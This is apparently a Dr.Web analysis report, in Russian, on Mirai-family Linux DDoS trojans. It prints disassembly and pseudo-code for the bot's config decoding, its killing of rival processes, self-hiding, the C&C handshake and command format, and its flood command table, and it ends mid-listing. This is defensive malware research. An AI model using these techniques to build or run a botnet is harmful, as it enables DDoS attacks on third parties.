

Исследование вредоносных программ семейства Linux.Mirai



© «Доктор Веб», 2016. Все права защищены

Материалы, приведенные в данном документе, являются собственностью «Доктор Веб» и могут быть использованы исключительно для личных целей приобретателя продукта. Никакая часть данного документа не может быть скопирована, размещена на сетевом ресурсе или передана по каналам связи и в средствах массовой информации или использована любым другим образом кроме использования для личных целей без ссылки на источник.

«Доктор Веб» предлагает эффективные антивирусные и антиспам-решения как для государственных организаций и крупных компаний, так и для частных пользователей.

Антивирусные решения семейства Dr.Web разрабатываются с 1992 года и неизменно демонстрируют превосходные результаты детектирования вредоносных программ, соответствуют мировым стандартам безопасности. Сертификаты и награды, а также обширная география пользователей свидетельствуют об исключительном доверии к продуктам компании.

**Исследование вредоносных программ семейства Linux.Mirai
30.9.2016**

«Доктор Веб», Центральный офис в России
125124
Россия, Москва
3-я улица Ямского поля, вл.2, корп.12А

Веб-сайт: <http://www.drweb.com/>
Телефон: +7 (495) 789-45-87

Информацию о региональных представительствах и офисах Вы можете найти на официальном сайте компании.

Введение

Троянец для ОС Linux, получивший наименование **Linux.Mirai**, имеет целый ряд предшественников. Первая вредоносная программа этого семейства была добавлена в вирусные базы в мае 2016 года и получила наименование **Linux.DDoS.87**. В начале августа появилась новая версия троянца – **Linux.DDoS.89**, а в конце того же месяца вирусные аналитики исследовали собственно **Linux.Mirai**.

Чтобы перейти к описанию интересующего вас троянца, кликните по одной из ссылок ниже:

[Описание Linux.DDoS.87](#)

[Описание Linux.DDoS.89](#)

[Описание Linux.Mirai](#)

Linux.DDoS.87

c129e2a23abe826f808725a0724f12470502a3cc – x86
 8fd0d16edf270c453c5b6b2481d0a044a410c7cd – ARM
 9ff383309ad63da2caa9580d7d85abeece9b13a0 – ARM

Троянец для ОС Linux, предназначенный для осуществления DDoS-атак. Все версии вредоносной программы используют библиотеку `uClibc.so`. Перед началом цикла приема и выполнения команд троянец вызывает следующие функции:

<code>.text:0804B378</code>	<code>push</code>	<code>1000h</code>	<code>; size</code>
<code>.text:0804B37D</code>	<code>call</code>	<code>_malloc</code>	
<code>.text:0804B382</code>	<code>mov</code>	<code>edi, eax</code>	<code>; buffer for com-</code>
<code>mand</code>			
<code>.text:0804B384</code>	<code>call</code>	<code>fillConfig</code>	
<code>.text:0804B389</code>	<code>call</code>	<code>init_random</code>	
<code>.text:0804B38E</code>	<code>call</code>	<code>runKiller</code>	
<code>.text:0804B393</code>	<code>call</code>	<code>fillCmdHandlers</code>	

fillConfig

Эта функция отвечает за выделение области памяти, в которой хранится конфигурационная информация. На языке С хранение конфигурации можно описать следующими структурами данных:

```
union {
    char *;
    short *;
    int *;
} conf_data;

struct conf_entry {
    uint32 number;
    conf_data data;
    uint32 length
};

struct malware_config {
    conf_entry *entries;
    uint32 entries_count;
}
```

Каждое поле конфигурации заполняется следующим образом:

```
Config.entries = realloc(Config.entries, 12 * Config.length + 12);
v0 = &Config.entries[Config.length];
v0->number = 0;
v1 = malloc(4u);
```

```
*v1 = XX;
v1[1] = XX;
v1[2] = XX;
v1[3] = XX;
v0->data = v1;
v2 = Config.entries;
v3 = Config.length + 1;
Config.entries[Config.length].length = 4;
Config.length = v3;
```

Некоторые строки хранятся в закодированном виде в elf-файле, перед записью они раскодируются:

.text:0804CA8B	call	_realloc
.text:0804CA90	mov	edx, ds:Config.length
.text:0804CA96	lea	edx, [edx+edx*2]
.text:0804CA99	mov	ds:Config.entries, eax
.text:0804CA9E	lea	esi, [eax+edx*4]
.text:0804CAA1	mov	dword ptr [esi], 0Bh
.text:0804CAA7	mov	[esp+1Ch+size], 49h ; size
.text:0804CAA8	call	_malloc
.text:0804CAB3	mov	edx, 1
.text:0804CAB8	mov	ebx, eax
.text:0804CABA	mov	ecx, offset unk_804FD80
.text:0804CABF	add	esp, 10h
.text:0804CAC2		
.text:0804CAC2 loc_804CAC2:		; CODE XREF:
fillConfig+4D0j		
.text:0804CAC2	mov	al, [ecx]
.text:0804CAC4	inc	ecx
.text:0804CAC5	xor	eax, 0FFFFFFFAFh
.text:0804CAC8	mov	[edx+ebx-1], al
.text:0804CACC	inc	edx
.text:0804CACD	cmp	edx, 4Ah
.text:0804CAD0	jnz	short loc_804CAC2
.text:0804CAD2	mov	eax, ds:Config.length
.text:0804CAD7	mov	ecx, ds:Config.entries
.text:0804CADD	mov	[esi+4], ebx
.text:0804CAE0	lea	edx, [eax+eax*2]
.text:0804CAE3	inc	eax
.text:0804CAE4	mov	dword ptr [ecx+edx*4+8], 49h
.text:0804CAEC	mov	ds:Config.length, eax

В исследованном образце в конфигурации сохраняются следующие данные:

Номер	Тип данных	Значение	Назначение
0	uint32	—	IP-адрес управляющего сервера
1	uint 16	—	порт
2	строка	'kami\x00'	выводится в main на stdin при запуске троянца
3	uint 8	1	отправляется на сервер после передачи MAC-адреса
4	4	0x08080808	не используется
5	4	JR**	не используется
6	4	0x06400640	не используется
7	4	0x0300f4d1	не используется
8	строка	"TSource Engine Query"	cmd1 – TSource Engine DDoS
9	строка	"/"	cmd14 default page
10	строка	"www.google.com"	cmd14 default host
11	строка	"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0"	cmd14 User Agent для запроса
12	строка	"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"	cmd14 User Agent для запроса
13	строка	"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36"	cmd14 User Agent для запроса
14	строка	"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36"	cmd14 User Agent для запроса
15	строка	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56"	не используется
20	строка	"GET "	cmd14 формирование запроса
21	строка	"HTTP/1.1"	cmd14 формирование запроса
22	строка	"Host: "	cmd14 формирование запроса
23	строка	"Connection: keep-alive"	cmd14 формирование запроса

Номер	Тип данных	Значение	Назначение
24	строка	"User-Agent: "	cmd14 формирование запроса
25	строка	"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"	cmd14 формирование запроса
26	строка	"Accept-Encoding: gzip, deflate, sdch"	cmd14 формирование запроса
27	строка	"Accept-Language: en-US,en;q=0.8"	cmd14 формирование запроса
28	строка	"Cookie: "	не используется
29	строка	"/proc/"	используется функцией runKiller
30	строка	"/exe"	используется функцией runKiller
31	строка	"/ cwd /"	используется функцией runKiller
33	строка	".shinigami"	используется функциями runKiller, main
100	строка	"gayfgt"	используется функцией runKiller
101	строка	"REPORT %s:%s"	используется функцией runKiller
102	строка	"hello friend 😊"	используется функцией runKiller
103	строка	"[KTN]"	используется функцией runKiller

Для получения значений из конфигурации в дальнейшем используются следующие функции:

Функция	Назначение
char *get_data_from_config(int number)	возвращает указатель data для conf_entry с номером number
uint32 get_conf_uint32(int number)	возвращает uint32, хранящийся по указателю data для conf_entry с номером number
uint16 get_conf_uint16(int number)	возвращает uint16, хранящийся по указателю data для conf_entry с номером number
uint8 get_conf_uint8(int number)	возвращает uint8, хранящийся по указателю data для conf_entry с номером number

init_random

Функция инициализирует генератор псевдослучайной последовательности. Аналогичные генераторы использовались в троянцах семейства **Linux.BackDoor.Fgt** и **Linux.BackDoor.Tsunami**, однако их реализации различаются.

Функция init_rand из **Linux.BackDoor.Fgt**:

```
.text:080481AC init_rand          proc near               ; CODE XREF:
sendUDP+249p
.text:080481AC
...
.text:080481AC
.var_4      = dword ptr -4
.text:080481AC arg_0       = dword ptr  8
.text:080481AC
.push    ebp
.text:080481AD mov     ebp, esp
.text:080481AF sub     esp, 10h
.text:080481B2 mov     eax, [ebp+arg_0]
.text:080481B5 mov     ds:Q, eax
.text:080481BA mov     eax, [ebp+arg_0]
.text:080481BD sub     eax, 61C88647h
.text:080481C2 mov     ds:dword_80599E4, eax
.text:080481C7 mov     eax, [ebp+arg_0]
.text:080481CA add     eax, 3C6EF372h
.text:080481CF mov     ds:dword_80599E8, eax
.text:080481D4 mov     [ebp+var_4], 3
.text:080481DB jmp     short loc_8048211
.text:080481DD
-----
-- 
.text:080481DD
.loc_80481DD:           proc near               ; CODE XREF:
init_rand+6Cj
.text:080481DD mov     ecx, [ebp+var_4]
.text:080481E0 mov     eax, [ebp+var_4]
.text:080481E3 sub     eax, 3
.text:080481E6 mov     edx, ds:Q[eax*4]
.text:080481ED mov     eax, [ebp+var_4]
.text:080481F0 sub     eax, 2
.text:080481F3 mov     eax, ds:Q[eax*4]
.text:080481FA xor     edx, eax
.text:080481FC mov     eax, [ebp+var_4]
.text:080481FF xor     eax, edx
.text:08048201 xor     eax, 9E3779B9h
```

```

.text:08048206          mov    ds:[ecx*4], eax
.text:0804820D          add    [ebp+var_4], 1
.text:08048211
.text:08048211 loc_8048211:           ; CODE XREF:
init_rand+2Fj
.text:08048211          cmp    [ebp+var_4], 0FFFh
.text:08048218          jle    short loc_80481DD
.text:0804821A          leave
.text:0804821B          retn
.text:0804821B init_rand      endp

```

Функция init_random из Linux.DDoS.87:

```

.text:0804C090 init_random      proc near             ; CODE XREF: main
+29p
.text:0804C090
.text:0804C090
.text:0804C091          push   esi
.text:0804C091          push   ebx
.text:0804C092          sub    esp, 4
.text:0804C095          call   __libc_getpid
.text:0804C09A          mov    esi, eax
.text:0804C09C          call   _getppid
.text:0804C0A1          sub    esp, 0Ch
.text:0804C0A4          mov    ebx, eax
.text:0804C0A6          push   0                 ; time
.text:0804C0A8          call   __GI_time
.text:0804C0AD          imul   ebx, eax
.text:0804C0B0          mov    ecx, 3
.text:0804C0B5          add    esp, 10h
.text:0804C0B8          lea    edx, [esi+ebx]
.text:0804C0BB          mov    ds:random_gen_data, edx
.text:0804C0C1          lea    eax, [edx-61C88647h]
.text:0804C0C7          mov    ds:rand1, eax
.text:0804C0CC          lea    eax, [edx+3C6EF372h]
.text:0804C0D2          mov    ds:rand2, eax
.text:0804C0D7
.text:0804C0D7 loc_804C0D7:           ; CODE XREF:
init_random+6Fj
.text:0804C0D7          mov    edx, ds:dword_8051694[ecx*4]
.text:0804C0DE          mov    eax, ecx
.text:0804C0E0          xor    eax, edx
.text:0804C0E2          mov    edx, ds:dword_8051698[ecx*4]
.text:0804C0E9          xor    edx, 9E3779B9h
.text:0804C0EF          xor    eax, edx
.text:0804C0F1          mov    ds:random_gen_data[ecx*4], eax

```

.text:0804C0F8	inc	ecx
.text:0804C0F9	cmp	ecx, 1000h
.text:0804C0FF	jnz	short loc_804C0D7
.text:0804C101	pop	eax
.text:0804C102	pop	ebx
.text:0804C103	pop	esi
.text:0804C104	retn	
.text:0804C104 init_random	endp	

runKiller

Эта функция запускает дочерний процесс, предназначенный для поиска в памяти процессов других троянцев и их завершения. Далее описан принцип действия дочернего процесса.

В первую очередь процесс закрывает стандартные потоки **stdin**, **stdout**, **stderr** и извлекает из конфигурации необходимые строки:

.text:0804AFAB	push	STDIN_FILENO ; fd
.text:0804AFAD	call	__libc_close
.text:0804AFB2 fd	mov	dword ptr [esp+0], STDERR_FILENO ;
.text:0804AFB9	call	__libc_close
.text:0804AFBE fd	mov	dword ptr [esp+0], STDOUT_FILENO ;
.text:0804AFC5	call	__libc_close
.text:0804AFCA	mov	dword ptr [esp+0], 1Dh
.text:0804AFD1	call	get_data_from_config
.text:0804AFD6	mov	dword ptr [esp+0], 1Eh
.text:0804AFDD	mov	ds:proc, eax
.text:0804AFE2	call	get_data_from_config
.text:0804AFE7	mov	dword ptr [esp+0], 1Fh
.text:0804AFFE	mov	ds:exe, eax
.text:0804AFF3	call	get_data_from_config
.text:0804AFF8	mov	dword ptr [esp+0], 21h
.text:0804AFFF	mov	ds:cwd, eax
.text:0804B004	call	get_data_from_config
.text:0804B009	mov	dword ptr [esp+0], 64h
.text:0804B010	mov	ds:shinigami, eax
.text:0804B015	call	get_data_from_config
.text:0804B01A	mov	dword ptr [esp+0], 65h
.text:0804B021	mov	ds:gayfgt, eax
.text:0804B026	call	get_data_from_config
.text:0804B02B	mov	dword ptr [esp+0], 66h
.text:0804B032	mov	ds:report_fmt, eax
.text:0804B037	call	get_data_from_config

.text:0804B03C	mov	dword ptr [esp+0], 67h
.text:0804B043	mov	ds:hello_friend, eax
.text:0804B048	call	get_data_from_config
.text:0804B04D	mov	ebp, ds:proc
.text:0804B053	mov	ds:KTN, eax

Затем предпринимается попытка открыть следующие файловые объекты:

/proc/<PID>/exe
/proc/<PID>/cwd/

Если попытка была успешной, устанавливается соответствующий флаг, если хотя бы один объект открыть не удалось, процесс завершает свое выполнение:

.text:0804B13F	cmp	ds:couldOpenExe, 0
.text:0804B146	jz	short loc_804B158
.text:0804B148	lea	ebp, [esp+0A3Ch+var_226]
.text:0804B14F	cmp	ds:couldOpenCWD, 0
.text:0804B156	jnz	short loc_804B17E
.text:0804B158		
.text:0804B158 loc_804B158:		; CODE XREF: run-Killer+1C6j
.text:0804B158	sub	esp, 0Ch
.text:0804B15B	push	0 ; status
.text:0804B15D	call	__GI_exit

Если процесс продолжает работу, после 5-секундной паузы начинается поиск и завершение процессов других троянцев путем чтения в непрерывном цикле содержимого папки /proc/:

.text:0804B162 read_proc_from_begin:		; CODE XREF: run-Killer+225j
.text:0804B162	sub	esp, 0Ch
.text:0804B165	mov	eax, [esp+0A48h+var_A34]
.text:0804B169	push	eax
.text:0804B16A	call	__GI_closedir
.text:0804B16F	mov	[esp+0A4Ch+fd], 5
.text:0804B176	call	sleep
.text:0804B17B	add	esp, 10h
.text:0804B17E		
.text:0804B17E loc_804B17E:		; CODE XREF: run-Killer+1D6j
.text:0804B17E	sub	esp, 0Ch
.text:0804B181	mov	eax, ds:proc
.text:0804B186	push	eax ; filename
.text:0804B187	call	__GI_opendir
.text:0804B18C	mov	[esp+0A4Ch+var_A34], eax

```

.text:0804B190          add    esp, 10h
.text:0804B193
.text:0804B193  read_next_proc_entry:           ; CODE XREF: run-
Killer+23Aj
.text:0804B193          ; runKiller+296j
...
.text:0804B193          sub    esp, 0Ch
.text:0804B196          mov    edx, [esp+0A48h+var_A34]
.text:0804B19A          push   edx
.text:0804B19B          call   __GI_readdir
.text:0804B1A0          add    esp, 10h
.text:0804B1A3          test   eax, eax
.text:0804B1A5          jz    short read_proc_from_begin

```

Если в папке, из которой был запущен процесс, обнаруживается файл с именем **.shinigami**, такой процесс не завершается – с использованием этого способа реализовано некое подобие самозащиты:

```

.text:0804B1BC          push   eax      ; char
.text:0804B1BD          push   eax      ; int
.text:0804B1BE          mov    eax, ds:proc
.text:0804B1C3          push   eax      ; a2
.text:0804B1C4          push   ebp      ; a1
.text:0804B1C5          call   strcpy
.text:0804B1CA          pop    ecx
.text:0804B1CB          lea    ebx, [ebp+eax+0]
.text:0804B1CF          pop    eax
.text:0804B1D0          push   esi      ; a2
.text:0804B1D1          push   ebx      ; a1
.text:0804B1D2          call   strcpy
.text:0804B1D7          add    ebx, eax
.text:0804B1D9          pop    eax
.text:0804B1DA          mov    eax, ds:cwd
.text:0804B1DF          pop    edx
.text:0804B1E0          push   eax      ; a2
.text:0804B1E1          push   ebx      ; a1
.text:0804B1E2          call   strcpy
.text:0804B1E7          pop    edx
.text:0804B1E8          pop    ecx
.text:0804B1E9          mov    ecx, ds:shinigami
.text:0804B1EF          lea    eax, [ebx+eax]
.text:0804B1F2          push   ecx      ; a2
.text:0804B1F3          push   eax      ; a1
.text:0804B1F4          call   strcpy
.text:0804B1F9          pop    eax

```

.text:0804B1FA	pop	edx
.text:0804B1FB	push	0 ; flags
.text:0804B1FD	push	ebp ; filename
.text:0804B1FE	call	__GI__libc_open
.text:0804B203	add	esp, 10h
.text:0804B206	test	eax, eax
.text:0804B208	js	short kill_if_bot
.text:0804B20A	sub	esp, 0Ch
.text:0804B20D	push	eax ; fd
.text:0804B20E	call	__libc_close
.text:0804B213	add	esp, 10h
.text:0804B216	jmp	read_next_proc_entry

Если файла с именем **.shinigami** в папке, из которой был запущен процесс, нет, выполняется чтение исполняемого файла процесса и в нем ищутся строки из конфигурации с номерами выше 100. В процессе поиска троянец последовательно читает фрагменты файла. Размер фрагмента – 0x800 байт. Если искомое значение окажется на границе буфера, процесс не будет завершен.

fillCmdHandlers

Функция, отвечающая за заполнение структуры, в которой хранятся обработчики команд. Структура выглядит следующим образом:

```
struct cmd {
    char number;
    void *handler;
}

struct cmd_handlers {
    cmd *handlers;
    char length;
}
```

Структура заполняется следующим образом:

```
v0 = realloc(handlers.handlers, 8 * handlers.length + 8);
v1 = handlers.length + 1;
handlers.handlers = v0;
v2 = &v0[handlers.length];
v2->number = 0;
v2->func = cmd0_udp_random;
handlers.length = v1;
```

```
v3 = realloc(v0, 8 * v1 + 8);
handlers.handlers = v3;
v4 = handlers.length + 1;
v5 = &v3[handlers.length];
v5->number = 1;
v5->func = cmd1_tsourc;
```

В результате формируется следующая таблица команд:

Номер	Назначение
15-17	в исследованном образце содержатся функции, которые просто выполняются в бесконечном цикле
14	HTTP flood
9	Transparent Ethernet Bridging в GRE
8	UDP flood overGRE
7	установление TCP-соединения
6	отправка TCP-пакета
4	TCP flood – отправка пакетов со случайными данными
3	TCP flood – отправка пакетов с добавлением TCP options
2	DNS flood
1	TSOURCE flood
0	UDP flood

После выполнения перечисленных выше функций из конфигурации извлекается строка, которая записывается в поток **stdin**:

```
.text:0804B398          mov     dword ptr [esp+0], 2
.text:0804B39F          call    get_data_from_config ; kami
.text:0804B3A4          mov     [esp+0], eax      ; a1
.text:0804B3A7          call    strlen
.text:0804B3AC          mov     dword ptr [esp+0], 2
.text:0804B3B3          mov     ebx, eax
.text:0804B3B5          call    get_data_from_config
.text:0804B3BA          add    esp, 0Ch
.text:0804B3BD          push   ebx           ; len
.text:0804B3BE          push   eax           ; addr
```

```
.text:0804B3BF      push    1                  ; fd
.text:0804B3C1      call    __libc_write
.text:0804B3C6      add     esp, 0Ch
.text:0804B3C9      push    1                  ; int
.text:0804B3CB      push    offset newline ; int
.text:0804B3D0      push    1                  ; fd
.text:0804B3D2      call    __libc_write
```

Затем троянец затирает собственное имя, чтобы спрятать себя:

```
.text:0804B3D8      mov     ebp, [esi]       ; esi = argv[0]
.text:0804B3DA      push   ebp             ; al
.text:0804B3DB      call    strlen
.text:0804B3E0      add    esp, 10h
.text:0804B3E3      mov    ecx, eax
.text:0804B3E5      test   eax, eax
.text:0804B3E7      jle    short loc_804B3F6
.text:0804B3E9      xor    edx, edx
.text:0804B3EB
.text:0804B3EB loc_804B3EB:           ; CODE XREF: main+94j
.text:0804B3EB      mov    eax, [esi]
.text:0804B3ED      mov    byte ptr [eax+edx], 0
.text:0804B3F1      inc    edx
.text:0804B3F2      cmp    ecx, edx
.text:0804B3F4      jnz    short loc_804B3EB
```

Далее выполняется запуск дочерних процессов (код упрощен, из него удалены обращения к конфигурации):

```
//here is parent
pid_t child = fork();
(child > 0){
    waitpid(child, &status, 0); //waiting until child die
    exit();
}
if(!child){ //child executing this
    pid_t child2 = fork();
    if(child2 > 0){ //we spawn children - time to die
        exit(); //after this exit() grandpa will die too
    }
}
```

```

pid_t child3 = fork();

if(child3>0){
    v28 = __GI___libc_open(".shinigami", O_CREAT, v30);
    if (v28 >= 0)
        close(v28);
    sleep(...) // one week
    kill(child3);
    exit();
}

payload;

```

В папке троянца создается файл **.shinigami**, чтобы исключить самоудаление троянца. Максимальный срок непрерывной работы **Linux.DDoS.87** на инфицированной машине составляет одну неделю, по истечении которой троянец завершает собственный процесс.

Цикл получения и выполнения команд

После выполнения всех описанных выше действий вредоносный процесс пытается соединиться с управляющим сервером для получения команд:

.text:0804B44E	call	__ libc_fork
.text:0804B453	mov	ebx, eax
.text:0804B455	test	eax, eax
.text:0804B457	jg	loc_804B84E
.text:0804B45D	call	__GI_setsid
.text:0804B462	sub	esp, 0Ch
.text:0804B465	push	0 ; fd
.text:0804B467	call	__libc_close
.text:0804B46C	mov	dword ptr [esp+0], 1 ; fd
.text:0804B473	call	__libc_close
.text:0804B478	mov	dword ptr [esp+0], 2 ; fd
.text:0804B47F	call	__libc_close
.text:0804B484	add	esp, 10h
.text:0804B487	lea	eax, [edi+2]
.text:0804B48A	xor	esi, esi
.text:0804B48C	mov	[esp+48Ch+ptr_to_third_comm_byte], eax
.text:0804B490 entry_point_of_payload_execution:		; CODE XREF: main+167j
.text:0804B490		; main+17Aj ...
.text:0804B490	mov	edx, esi
.text:0804B492	mov	eax, 1000h
.text:0804B497	and	edx, 0FFFFh

```

.text:0804B49D      push    4000h          ; int
.text:0804B4A2      sub     eax, edx
.text:0804B4A4      push    eax           ; int
.text:0804B4A5      lea     edx, [edi+edx]
.text:0804B4A8      mov     eax, ds:fd
.text:0804B4AD      push    edx           ; char *
.text:0804B4AE      push    eax           ; int
.text:0804B4AF      call    __libc_recv
.text:0804B4B4      add    esp, 10h
.text:0804B4B7      test   eax, eax
.text:0804B4B9      jle    recv_failed
.text:0804B4BF      add    esi, eax
.text:0804B4C1      cmp    si, 1
.text:0804B4C5      ja    short recv_ok
.text:0804B4C7      jmp    short entry_point_of_payload_execution

```

Если **recv** возвращает ошибку, открывается сокет и его содержимое записывается в глобальную переменную **fd**:

```

.text:0804B553 recv_failed:                                ; CODE XREF: main+159j
.text:0804B553      mov    eax, ds:fd
.text:0804B558      test   eax, eax
.text:0804B55A      js    short fd_closed_or_uninitialized
.text:0804B55C      sub    esp, 0Ch
.text:0804B55F      push   eax           ; fd
.text:0804B560      call   __libc_close
.text:0804B565      add    esp, 10h
.text:0804B568
.text:0804B568 fd_closed_or_uninitialized:                ; CODE XREF: main+1FAj
.text:0804B568      push   eax
.text:0804B569      push   0
.text:0804B56B      push   1
.text:0804B56D      push   2
.text:0804B56F      call   __GI_socket
.text:0804B574      add    esp, 10h
.text:0804B577      mov    ds:fd, eax

```

На операции чтения-записи устанавливается тайм-аут длительностью в минуту:

```

socket_timeout.tv_sec = 60;
socket_timeout.tv_usec = 0;
__GI_setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &socket_timeout, 8);

```

```
__GI_setsockopt(fd, SOL_SOCKET, SO_SNDTIMEO, &socket_timeout, 8);
```

Далее устанавливается соединение с управляющим сервером:

.text:0804B5CE	mov	[esp+4ACh+cnc_sockaddr.sin_family], 2
.text:0804B5D8	add	esp, 14h
.text:0804B5DB	push	0
.text:0804B5DD	call	get_conf_uint32
.text:0804B5E2	mov	dword ptr [esp+0], 1
.text:0804B5E9	mov	[esp+49Ch+cnc_sockaddr.sin_addr.s_addr], eax
.text:0804B5F0	call	get_conf_uint16
.text:0804B5F5	ror	ax, 8
.text:0804B5F9	mov	[esp+49Ch+cnc_sockaddr.sin_port], ax
.text:0804B601	add	esp, 0Ch
.text:0804B604	mov	eax, ds:fd
.text:0804B609	push	10h
.text:0804B60B	lea	edx, [esp+494h+cnc_sockaddr]
.text:0804B612	push	edx
.text:0804B613	push	eax
.text:0804B614	call	__libc_connect

Затем сохраняется IP-адрес используемого интерфейса и на сервер отправляется строка, содержащая идентификатор архитектуры зараженного устройства (x86, ARM, MIPS, SPARC, SH-4 или M68K):

.text:0804B62F	lea	eax, [esp+490h+status]
.text:0804B636	mov	ecx, ds:fd
.text:0804B63C	push	eax
.text:0804B63D	lea	edx, [esp+494h+var_54]
.text:0804B644	push	edx
.text:0804B645	push	ecx
.text:0804B646	call	__GI_getsockname
.text:0804B64B +var_54.sin_addr.s_addr]	mov	eax, [esp+49Ch]
.text:0804B652	mov	ds:selfaddr, eax
.text:0804B657	pop	eax
.text:0804B658	pop	edx
.text:0804B659	push	1 ; size
.text:0804B65B	push	20h ; nmemb
.text:0804B65D	call	_calloc
.text:0804B662 ; "telnet.x86"	mov	dword ptr [esp+0], offset a2
.text:0804B669	mov	ebx, eax

.text:0804B66B	call	strlen
.text:0804B670	add	esp, 0Ch
.text:0804B673	push	eax ; a3
.text:0804B674	push	offset a2 ; "telnet.x86"
.text:0804B679	push	ebx ; a1
.text:0804B67A	call	strncpy
.text:0804B67F	mov	eax, ds:fd
.text:0804B684	push	4000h ; int
.text:0804B689	push	20h ; int
.text:0804B68B	push	ebx ; char *
.text:0804B68C	push	eax ; int
.text:0804B68D	call	__libc_send

Также на управляющий сервер отсылаются сведения о MAC-адресе сетевой карты:

.text:0804B756	push	edx ; ifconf *
.text:0804B757	push	SIOCGIFFLAGS ; request
.text:0804B75C	push	esi ; d
.text:0804B75D	call	__GI_ioctl
.text:0804B762	add	esp, 10h
.text:0804B765	test	eax, eax
.text:0804B767	jnz	short loc_804B735
.text:0804B769	test	byte ptr [esp+48Ch+a1.ifr_ifru], 8
.text:0804B771	jnz	short loc_804B735
.text:0804B773	push	eax ; char *
.text:0804B774	lea	eax, [esp+490h+a1]
.text:0804B77B	push	eax ; ifconf *
.text:0804B77C	push	SIOCGIFHWADDR ; request
.text:0804B781	push	esi ; d
.text:0804B782	call	__GI_ioctl
.text:0804B787	add	esp, 10h
.text:0804B78A	test	eax, eax
.text:0804B78C	jnz	short loc_804B735
.text:0804B78E	push	esi
.text:0804B78F	push	6 ; a3
.text:0804B791	lea	edx, [esp+494h+a1.ifr_ifru+2]
.text:0804B798	push	edx ; a2
.text:0804B799	lea	eax, [esp+498h+macAddr]
.text:0804B7A0	push	eax ; a1
.text:0804B7A1	call	strncpy
.text:0804B7A6	add	esp, 10h
.text:0804B7A9 loc_804B7A9: +381j...		; CODE XREF: main
.text:0804B7A9	push	4000h ; int
.text:0804B7AE	push	6 ; int

.text:0804B7B0	lea	edx, [esp+494h+macAddr]
.text:0804B7B7	mov	ebx, ds:fd
.text:0804B7BD	push	edx ; char *
.text:0804B7BE	push	ebx ; int
.text:0804B7BF	call	__libc_send
.text:0804B7C4	mov	dword ptr [esp+0], 3
.text:0804B7CB	call	get_data_char
.text:0804B7D0	mov	ecx, ds:fd
.text:0804B7D6	mov	[esp+49Ch+var_15], al
.text:0804B7DD	push	4000h ; int
.text:0804B7E2	push	1 ; int
.text:0804B7E4	xor	esi, esi
.text:0804B7E6	lea	eax, [esp+4A4h+var_15]
.text:0804B7ED	push	eax ; char *
.text:0804B7EE	push	ecx ; int
.text:0804B7EF	call	__libc_send

Поступающие с сервера данные записываются в буфер. Если за одну итерацию чтения поступило более одной команды, то они обрабатываются по очереди. Формат присыаемой команды (для числовых полей используется сетевой порядок байтов):

Поле	Назначение	Размер
fullLength	полная длина присланной команды	2
sleepTime	время на выполнение (каждая команда запускает новый процесс через fork, и через указанное время он будет «убит»)	4
cmd	номер команды	1
hostCount	количество атакуемых хостов	1
target[hostCount]	массив целей	5*hostCount
param_cnt	количество параметров	1
param[param_cnt]	параметры	...

Если поле **fullLength == 0**, то на управляющий сервер будет отослано два нулевых байта:

.text:0804B518 recv_ok:	;	CODE XREF: main +165j
	mov	ax, [edi]
.text:0804B518	ror	ax, 8
.text:0804B51F	test	ax, ax
.text:0804B522	jnz	short process_command

.text:0804B524	mov	eax, ds:fd
.text:0804B529	push	4000h ; int
.text:0804B52E	push	2 ; int
.text:0804B530	push	edi ; char *
.text:0804B531	push	eax ; int
.text:0804B532	call	__libc_send
.text:0804B537	add	esp, 0Ch
.text:0804B53A	sub	esi, 2
.text:0804B53D	push	0FFFFFFFh
.text:0804B53F	push	2
.text:0804B541 byte]	mov	ebp, [esp+498h+ptr_to_third_comm_-
.text:0804B545	push	ebp
.text:0804B546	call	shiftBuffer
.text:0804B54B	add	esp, 10h
.text:0804B54E	jmp	entry_point_of_payload_execution

Если длина ненулевая, запускается обработчик полученной команды:

text:0804B4D0 process_command: +1C2j		; CODE XREF: main
.text:0804B4D0	cmp	ax, 1
.text:0804B4D4	jz	short loc_804B4DC
.text:0804B4D6	cmp	ax, 1000h
.text:0804B4DA cution	ja	short entry_point_of_payload_ex- ecution
.text:0804B4DC		
text:0804B4DC loc_804B4DC: +174j		; CODE XREF: main
.text:0804B4DC	cmp	ax, si
.text:0804B4DF cution	ja	short entry_point_of_payload_ex- ecution
.text:0804B4E1	sub	si, ax
.text:0804B4E4	mov	ebx, eax
.text:0804B4E6	and	ebx, 0FFFh
.text:0804B4EC	push	edx
.text:0804B4ED	push	edx
.text:0804B4EE	lea	eax, [ebx-2]
.text:0804B4F1	push	eax ; a2

.text:0804B4F2	mov	eax, [esp+498h+ptr_to_third_comm_- byte]
.text:0804B4F6	push	eax ; a1
.text:0804B4F7	call	process
.text:0804B4FC	add	esp, 0Ch
.text:0804B4FF	push	0FFFFFFFh
.text:0804B501	push	ebx
.text:0804B502	lea	ebx, [edi+ebx]
.text:0804B505	push	ebx
.text:0804B506	call	shiftBuffer
.text:0804B50B	add	esp, 10h
.text:0804B50E	cmp	si, 1
.text:0804B512	jbe	entry_point_of_payload_execution

process

Функция принимает на вход указатель на третий байт полученной команды и ее длину, после чего начинает разбирать аргументы команды и заполнять соответствующие структуры:

```
//структуры, представляющие собой данные, приходящие от сервера
struct target{
    uint32_t ip; //ip цели
    uint8_t maskbits; // если указаное число <=31, то целью будут
    //случайные хосты, полученные из ip случайной генерацией младших бит
    maskbits
}

struct param{
    uint8_t id;
    uint8_t len;
    uint8_t data[len];
}

//структуры, в которые они отображаются в троянце
struct target_parsed {
    uint32      target_ip;
    uint8      maskbits;
    sockaddr_in sockaddr;
}
```

```
struct param_parsed {  
    uint8    id;  
    char *   data;  
}
```

Код начала анализа заголовка пакета:

```
.text:0804BA60 head_packet_parse:           ; CODE XREF: pro-  
cess+12j  
.text:0804BA60          mov     edi, [esi+pkct_cmd.sleepTime] ;  
ebx = size  
.text:0804BA62          ror     di, 8  
.text:0804BA66          ror     edi, 10h  
.text:0804BA69          ror     di, 8  
